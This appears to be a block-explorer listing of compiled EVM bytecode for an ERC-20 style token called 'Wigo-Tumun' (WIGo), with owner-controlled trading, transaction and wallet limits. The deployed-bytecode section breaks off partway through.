fffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6110a233610c08565b6110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d8906127be565b60405180910390fd5b6000600954826005546110f4919061298a565b6110fe9190612959565b9050606460055461110f9190612959565b8111611150576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611147906127de565b60405180910390fd5b806006819055505050565b611164336114fa565b6111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a906127fe565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61128e336114fa565b6112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c4906127fe565b60405180910390fd5b81600f60146101000a81548160ff021916908315150217905550806010819055505050565b6112fb33610c08565b61133a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611331906127be565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61139e33610c08565b6113dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d4906127be565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516114a391906126cb565b60405180910390a150565b601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061159283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b1b565b905092915050565b60008383111582906115e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d9919061271c565b60405180910390fd5b50600083856115f191906129e4565b9050809150509392505050565b6000600e60009054906101000a900460ff16806116685750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116be575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b6116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f49061277e565b60405180910390fd5b601160009054906101000a900460ff16156117245761171d848484611b7e565b9050611aca565b600e60019054906101000a900460ff16156118e357600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117bf57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118195750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118735750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118d757600061188384610cc3565b905060075483826118949190612903565b11156118d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cc9061279e565b60405180910390fd5b505b6118e2848385611d51565b5b6118eb611e43565b156118f9576118f8611f25565b5b611982826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159a9092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000829050611a1c81600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220890919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611abc919061281e565b60405180910390a360019150505b9392505050565b6000611b1383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061159a565b905092915050565b60008083118290611b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b59919061271c565b60405180910390fd5b5060008385611b719190612959565b9050809150509392505050565b6000611c09826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159a9092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c9e82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220890919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d3e919061281e565b60405180910390a3600190509392505050565b60065482111580611dab5750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611dff5750600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611e3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e359061273e565b60405180910390fd5b505050565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611eef575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f085750601160009054906101000a900460ff16155b8015611f205750600f60149054906101000a900460ff165b905090565b6001601160006101000a81548160ff0219169083151502179055506000601054611f4e30610cc3565b10611f5d576010549050611fe0565b6000611f6830610cc3565b1415611fda57611f84606460055461155090919063ffffffff16565b600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fd29190612903565b925050819055505b60105490505b6000600267ffffffffffffffff811115611ffd57611ffc612b99565b5b60405190808252806020026020018201604052801561202b5781602001602082028036833780820191505090505b509050308160008151811061204357612042612b6a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106120b4576120b3612b6a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b8152600401612157959493929190612839565b600060405180830381600087803b15801561217157600080fd5b505af1158015612185573d6000803e3d6000fd5b50505050600061219e8247611ad190919063ffffffff16565b90506000819050601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16816175309050505050505050506000601160006101000a81548160ff021916908315150217905550565b60008082846122179190612903565b90508381101561225c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122539061275e565b60405180910390fd5b8091505092915050565b60008135905061227581612d49565b92915050565b60008135905061228a81612d60565b92915050565b60008135905061229f81612d77565b92915050565b6000813590506122b481612d8e565b92915050565b6000602082840312156122d0576122cf612bc8565b5b60006122de84828501612266565b91505092915050565b6000602082840312156122fd576122fc612bc8565b5b600061230b8482850161227b565b91505092915050565b6000806040838503121561232b5761232a612bc8565b5b600061233985828601612266565b925050602061234a85828601612266565b9150509250929050565b60008060006060848603121561236d5761236c612bc8565b5b600061237b86828701612266565b935050602061238c86828701612266565b925050604061239d868287016122a5565b9150509250925092565b600080604083850312156123be576123bd612bc8565b5b60006123cc85828601612266565b92505060206123dd85828601612290565b9150509250929050565b600080604083850312156123fe576123fd612bc8565b5b600061240c85828601612266565b925050602061241d858286016122a5565b9150509250929050565b6000806040838503121561243e5761243d612bc8565b5b600061244c85828601612290565b925050602061245d858286016122a5565b9150509250929050565b60006020828403121561247d5761247c612bc8565b5b600061248b848285016122a5565b91505092915050565b60006124a083836124bb565b60208301905092915050565b6124b581612a7f565b82525050565b6124c481612a18565b82525050565b6124d381612a18565b82525050565b60006124e4826128be565b6124ee81856128e1565b93506124f9836128ae565b8060005b8381101561252a5781516125118882612494565b975061251c836128d4565b9250506001810190506124fd565b5085935050505092915050565b61254081612a3c565b82525050565b61254f81612a91565b82525050565b61255e81612aa3565b82525050565b600061256f826128c9565b61257981856128f2565b9350612589818560208601612ad9565b61259281612bcd565b840191505092915050565b60006125aa6011836128f2565b91506125b582612bde565b602082019050919050565b60006125cd601b836128f2565b91506125d882612c07565b602082019050919050565b60006125f06016836128f2565b91506125fb82612c30565b602082019050919050565b6000612613603e836128f2565b915061261e82612c59565b604082019050919050565b60006126366006836128f2565b915061264182612ca8565b602082019050919050565b60006126596022836128f2565b915061266482612cd1565b604082019050919050565b600061267c600b836128f2565b915061268782612d20565b602082019050919050565b61269b81612a68565b82525050565b6126aa81612a72565b82525050565b60006020820190506126c560008301846124ca565b92915050565b60006020820190506126e060008301846124ac565b92915050565b60006020820190506126fb6000830184612537565b92915050565b60006020820190506127166000830184612546565b92915050565b600060208201905081810360008301526127368184612564565b905092915050565b600060208201905081810360008301526127578161259d565b9050919050565b60006020820190508181036000830152612777816125c0565b9050919050565b60006020820190508181036000830152612797816125e3565b9050919050565b600060208201905081810360008301526127b781612606565b9050919050565b600060208201905081810360008301526127d781612629565b9050919050565b600060208201905081810360008301526127f78161264c565b9050919050565b600060208201905081810360008301526128178161266f565b9050919050565b60006020820190506128336000830184612692565b92915050565b600060a08201905061284e6000830188612692565b61285b6020830187612555565b818103604083015261286d81866124d9565b905061287c60608301856124ca565b6128896080830184612692565b9695505050505050565b60006020820190506128a860008301846126a1565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061290e82612a68565b915061291983612a68565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561294e5761294d612b0c565b5b828201905092915050565b600061296482612a68565b915061296f83612a68565b92508261297f5761297e612b3b565b5b828204905092915050565b600061299582612a68565b91506129a083612a68565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129d9576129d8612b0c565b5b828202905092915050565b60006129ef82612a68565b91506129fa83612a68565b925082821015612a0d57612a0c612b0c565b5b828203905092915050565b6000612a2382612a48565b9050919050565b6000612a3582612a48565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612a8a82612ab5565b9050919050565b6000612a9c82612ab5565b9050919050565b6000612aae82612a68565b9050919050565b6000612ac082612ac7565b9050919050565b6000612ad282612a48565b9050919050565b60005b83811015612af7578082015181840152602081019050612adc565b83811115612b06576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f54726164696e67206973206e6f7420656e61626c656400000000000000000000600082015250565b7f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460008201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e0000602082015250565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b7f596f752063616e277420736574204d61782057616c6c65742054686973204c6f60008201527f7721000000000000000000000000000000000000000000000000000000000000602082015250565b7f21415554484f52495a4544000000000000000000000000000000000000000000600082015250565b612d5281612a18565b8114612d5d57600080fd5b50565b612d6981612a2a565b8114612d7457600080fd5b50565b612d8081612a3c565b8114612d8b57600080fd5b50565b612d9781612a68565b8114612da257600080fd5b5056fea26469706673582212205377f1b0c13bf301e23be43013edf6ef29246baffaf910db531945fd8774ae0464736f6c63430008070033

Deployed Bytecode

0x6080604052600436106102085760003560e01c80637d1db4a511610118578063d543dbeb116100a0578063f0b37c041161006f578063f0b37c0414610756578063f2fde38b1461077f578063f7260d3e146107a8578063f887ea40146107d3578063fe9fbb80146107fe5761020f565b8063d543dbeb1461069e578063d962cf58146106c7578063dd62ed3e146106f0578063df20fd491461072d5761020f565b806395d89b41116100e757806395d89b41146105b7578063a8aa1b31146105e2578063a9059cbb1461060d578063ad5c46481461064a578063b6a5d7de146106755761020f565b80637d1db4a51461052157806382bf293c1461054c578063893d20e8146105755780638a8c523c146105a05761020f565b80632f54bf6e1161019b5780636ddd17131161016a5780636ddd17131461046057806370a082311461048b578063751039fc146104c857806378109e54146104df5780637a336e661461050a5761020f565b80632f54bf6e14610390578063313ce567146103cd5780634a62bb65146103f8578063571ac8b0146104235761020f565b8063180b0d7e116101d7578063180b0d7e146102d257806318160ddd146102fd57806323b872dd146103285780632b112e49146103655761020f565b80630445b6671461021457806306fdde031461023f578063095ea7b31461026a57806313114a9d146102a75761020f565b3661020f57005b600080fd5b34801561022057600080fd5b5061022961083b565b604051610236919061281e565b60405180910390f35b34801561024b57600080fd5b50610254610841565b604051610261919061271c565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c91906123e7565b61087e565b60405161029e91906126e6565b60405180910390f35b3480156102b357600080fd5b506102bc610970565b6040516102c9919061281e565b60405180910390f35b3480156102de57600080fd5b506102e7610976565b6040516102f4919061281e565b60405180910390f35b34801561030957600080fd5b5061031261097c565b60405161031f919061281e565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190612354565b610986565b60405161035c91906126e6565b60405180910390f35b34801561037157600080fd5b5061037a610b86565b604051610387919061281e565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b291906122ba565b610c08565b6040516103c491906126e6565b60405180910390f35b3480156103d957600080fd5b506103e2610c61565b6040516103ef9190612893565b60405180910390f35b34801561040457600080fd5b5061040d610c6a565b60405161041a91906126e6565b60405180910390f35b34801561042f57600080fd5b5061044a600480360381019061044591906122ba565b610c7d565b60405161045791906126e6565b60405180910390f35b34801561046c57600080fd5b50610475610cb0565b60405161048291906126e6565b60405180910390f35b34801561049757600080fd5b506104b260048036038101906104ad91906122ba565b610cc3565b6040516104bf919061281e565b60405180910390f35b3480156104d457600080fd5b506104dd610d0c565b005b3480156104eb57600080fd5b506104f4610d29565b604051610501919061281e565b60405180910390f35b34801561051657600080fd5b5061051f610d2f565b005b34801561052d57600080fd5b50610536610de8565b604051610543919061281e565b60405180910390f35b34801561055857600080fd5b50610573600480360381019061056e9190612467565b610dee565b005b34801561058157600080fd5b5061058a610eb0565b60405161059791906126b0565b60405180910390f35b3480156105ac57600080fd5b506105b5610ed9565b005b3480156105c357600080fd5b506105cc610f59565b6040516105d9919061271c565b60405180910390f35b3480156105ee57600080fd5b506105f7610f96565b60405161060491906126b0565b60405180910390f35b34801561061957600080fd5b50610634600480360381019061062f91906123e7565b610fbc565b60405161064191906126e6565b60405180910390f35b34801561065657600080fd5b5061065f610fd1565b60405161066c91906126b0565b60405180910390f35b34801561068157600080fd5b5061069c600480360381019061069791906122ba565b610ff7565b005b3480156106aa57600080fd5b506106c560048036038101906106c09190612467565b611099565b005b3480156106d357600080fd5b506106ee60048036038101906106e991906123a7565b61115b565b005b3480156106fc57600080fd5b5061071760048036038101906107129190612314565b6111fe565b604051610724919061281e565b60405180910390f35b34801561073957600080fd5b50610754600480360381019061074f9190612427565b611285565b005b34801561076257600080fd5b5061077d600480360381019061077891906122ba565b6112f2565b005b34801561078b57600080fd5b506107a660048036038101906107a191906122e7565b611395565b005b3480156107b457600080fd5b506107bd6114ae565b6040516107ca91906126b0565b60405180910390f35b3480156107df57600080fd5b506107e86114d4565b6040516107f59190612701565b60405180910390f35b34801561080a57600080fd5b50610825600480360381019061082091906122ba565b6114fa565b60405161083291906126e6565b60405180910390f35b60105481565b60606040518060400160405280600a81526020017f5769676f2d54756d756e00000000000000000000000000000000000000000000815250905090565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161095e919061281e565b60405180910390a36001905092915050565b60085481565b60095481565b6000600554905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610b7257610af1826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159a9092919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610b7d8484846115fe565b90509392505050565b6000610c03610bb6600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cc3565b610bf5610be4600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cc3565b600554611ad190919063ffffffff16565b611ad190919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b600e60019054906101000a900460ff1681565b6000610ca9827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61087e565b9050919050565b600f60149054906101000a900460ff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600e60016101000a81548160ff021916908315150217905550565b60075481565b610d38336114fa565b610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e906127fe565b60405180910390fd5b6000479050601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610de4573d6000803e3d6000fd5b5050565b60065481565b610df733610c08565b610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2d906127be565b60405180910390fd5b600060095482600554610e49919061298a565b610e539190612959565b90506064600554610e649190612959565b8111610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c906127de565b60405180910390fd5b806007819055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee2336114fa565b610f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f18906127fe565b60405180910390fd5b6001600e60006101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550565b60606040518060400160405280600481526020017f5749476f00000000000000000000000000000000000000000000000000000000815250905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610fc93384846115fe565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61100033610c08565b61103f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611036906127be565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6110a233610c08565b6110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d8906127be565b60405180910390fd5b6000600954826005546110f4919061298a565b6110fe9190612959565b9050606460055461110f9190612959565b8111611150576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611147906127de565b60405180910390fd5b806006819055505050565b611164336114fa565b6111a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119a906127fe565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61128e336114fa565b6112cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c4906127fe565b60405180910390fd5b81600f60146101000a81548160ff021916908315150217905550806010819055505050565b6112fb33610c08565b61133a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611331906127be565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61139e33610c08565b6113dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d4906127be565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516114a391906126cb565b60405180910390a150565b601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061159283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b1b565b905092915050565b60008383111582906115e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d9919061271c565b60405180910390fd5b50600083856115f191906129e4565b9050809150509392505050565b6000600e60009054906101000a900460ff16806116685750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116be575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b6116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f49061277e565b60405180910390fd5b601160009054906101000a900460ff16156117245761171d848484611b7e565b9050611aca565b600e60019054906101000a900460ff16156118e357600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117bf57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118195750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118735750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118d757600061188384610cc3565b905060075483826118949190612903565b11156118d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cc9061279e565b60405180910390fd5b505b6118e2848385611d51565b5b6118eb611e43565b156118f9576118f8611f25565b5b611982826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159a9092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000829050611a1c81600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220890919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611abc919061281e565b60405180910390a360019150505b9392505050565b6000611b1383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061159a565b905092915050565b60008083118290611b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b59919061271c565b60405180910390fd5b5060008385611b719190612959565b9050809150509392505050565b6000611c09826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159a9092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c9e82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220890919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d3e919061281e565b60405180910390a3600190509392505050565b60065482111580611dab5750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611dff5750600d60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611e3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e359061273e565b60405180910390fd5b505050565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611eef575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614155b8015611f085750601160009054906101000a900460ff16155b8015611f205750600f60149054906101000a900460ff165b905090565b6001601160006101000a81548160ff0219169083151502179055506000601054611f4e30610cc3565b10611f5d576010549050611fe0565b6000611f6830610cc3565b1415611fda57611f84606460055461155090919063ffffffff16565b600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fd29190612903565b925050819055505b60105490505b6000600267ffffffffffffffff811115611ffd57611ffc612b99565b5b60405190808252806020026020018201604052801561202b5781602001602082028036833780820191505090505b509050308160008151811061204357612042612b6a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106120b4576120b3612b6a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b8152600401612157959493929190612839565b600060405180830381600087803b15801561217157600080fd5b505af1158015612185573d6000803e3d6000fd5b50505050600061219e8247611ad190919063ffffffff16565b90506000819050601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16816175309050505050505050506000601160006101000a81548160ff021916908315150217905550565b60008082846122179190612903565b90508381101561225c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122539061275e565b60405180910390fd5b8091505092915050565b60008135905061227581612d49565b92915050565b60008135905061228a81612d60565b92915050565b60008135905061229f81612d77565b92915050565b6000813590506122b481612d8e565b92915050565b6000602082840312156122d0576122cf612bc8565b5b60006122de84828501612266565b91505092915050565b6000602082840312156122fd576122fc612bc8565b5b600061230b8482850161227b565b91505092915050565b6000806040838503121561232b5761232a612bc8565b5b600061233985828601612266565b925050602061234a85828601612266565b9150509250929050565b60008060006060848603121561236d5761236c612bc8565b5b600061237b86828701612266565b935050602061238c86828701612266565b925050604061239d868287016122a5565b9150509250925092565b600080604083850312156123be576123bd612bc8565b5b60006123cc8582860161226